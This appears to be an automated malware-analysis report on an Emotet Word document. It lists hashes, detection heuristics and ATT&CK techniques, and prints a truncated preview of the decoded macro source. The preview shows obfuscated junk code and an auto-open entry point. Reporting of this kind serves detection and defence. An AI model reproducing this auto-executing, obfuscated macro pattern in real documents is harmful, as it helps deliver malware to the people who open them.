Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2da6ea9395aa180a…

MALICIOUS

Office (OLE)

135.7 KB Created: 2019-05-31 05:41:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 1b6b893278db704d474142b07648e08c SHA-1: 48527cadc861f2582be78f37114187949f21fcb5 SHA-256: 2da6ea9395aa180ac22e861d8e598af9917cfc4ac60c60dacae5c5f8b6753ad8
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1197 System Services

The sample contains VBA macros with an autoopen entry point, a critical heuristic for WMI process creation via GetObject/CreateObject. This indicates the document is designed to execute malicious code upon opening. The ClamAV signature 'Doc.Downloader.Emotet-10001946-0' strongly suggests the Emotet family, known for its downloader capabilities.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13881 bytes
SHA-256: 017bb8229a09da1384c50ad9bf6e96457e9db2cb2b4065464e6b6a060501258b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "obS7MLYi, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "PiZBUo, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "vd9IwlT0, 2, 2, MSForms, ComboBox"
Function QlFETHQp()
   Select Case "sDOrut9"
         Case "XH9c9YXX"
         Debug.Print "DIHkC0N"
            Debug.Print Tan("VkTmi9")
         Debug.Print Log("Au8zI3QN")
            Debug.Print "z9sIShA"
            Debug.Print "miMsjNu"
            Debug.Print Tan("Hfdfth")
         Case "zp8Q2WO"
            Debug.Print Log("bfQRzm")
            Debug.Print "ZWzBblY"
            Debug.Print Log("ESEcOK")
            Debug.Print "iVuJ5H0"
            Debug.Print Tan("jOZ4W5")
            Debug.Print "MLhmjEiE"
End Select

   Select Case "b9UTVNj"
         Case "tUdaw3"
         Debug.Print "N28jzw7"
            Debug.Print Tan("iMtGww")
         Debug.Print Log("b7HEjt")
            Debug.Print "fuPLj3"
            Debug.Print "hIbl_uK"
            Debug.Print Tan("NnWb5Ei4")
         Case "wncrIP"
            Debug.Print Log("DrKitM")
            Debug.Print "iU_Rzwt"
            Debug.Print Log("FVkspr")
            Debug.Print "iE9LbTV"
            Debug.Print Tan("Erws5KS")
            Debug.Print "L43fJ5W"
End Select

End Function
Sub _
autoopen( _
)
   Select Case "p1vtLK"
         Case "jENHcKu"
         Debug.Print "FBVVEcI"
            Debug.Print Tan("EQNdzb")
         Debug.Print Log("Nbqs7fJi")
            Debug.Print "qArAc_mL"
            Debug.Print "ltYmkEF"
            Debug.Print Tan("LRw7r6")
         Case "kLjLwOv"
            Debug.Print Log("VEwN3m")
            Debug.Print "ChCEI2a"
            Debug.Print Log("jZCEAF")
            Debug.Print "u_8V7fn"
            Debug.Print Tan("hAi_Vqz")
            Debug.Print "UQijUFU"
End Select

sz3Y8w
   Select Case "jBRESw"
         Case "zMRoIIu"
         Debug.Print "VhG6qjww"
            Debug.Print Tan("MdiLFV")
         Debug.Print Log("AHJtEbu")
            Debug.Print "l5Nt0jI"
            Debug.Print "Ba8fdQ8"
            Debug.Print Tan("JZALTki")
         Case "rqdqKk"
            Debug.Print Log("vHSR5Z")
            Debug.Print "QIsfo4zU"
            Debug.Print Log("khhlnOO")
            Debug.Print "i8WPXh"
            Debug.Print Tan("qcRR_Fj")
            Debug.Print "oOj85Iw"
End Select

End Sub
Function m5_ZQ0Sj()
   Select Case "mtp7aP"
         Case "VfniWjzs"
         Debug.Print "f_vf9vh"
            Debug.Print Tan("RESTBw")
         Debug.Print Log("IF3mUnW6")
            Debug.Print "o2wVTU"
            Debug.Print "fSPw5YE8"
            Debug.Print Tan("FLlsJjom")
         Case "OXYlDbvf"
            Debug.Print Log("n0KUK6vZ")
            Debug.Print "bYJhwts"
            Debug.Print Log("Ksr9LaP5")
            Debug.Print "YokYiDHB"
            Debug.Print Tan("NzOa4a4")
            Debug.Print "pUuqwVSE"
End Select

   Select Case "v0PU_2M"
         Case "ZjoC5Mp"
         Debug.Print "ATobnuv"
            Debug.Print Tan("UFXLK2Bt")
         Debug.Print Log("LsNQ8G6")
            Debug.Print "NQKT4O76"
            Debug.Print "SfjjBw3"
            Debug.Print Tan("UwAK8M")
         Case "pCsUtMwK"
            Debug.Print Log("oi9O7U")
            Debug.Print "woIMdEBm"
            Debug.Print Log("NGNGKW")
            Debug.Print "AInTwZcj"
            Debug.Print Tan("SK3r5CO")
            Debug.Print "iknTHDl5"
End Select

End Function


Attribute VB_Name = "wb1vD99K"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Nam
... (truncated)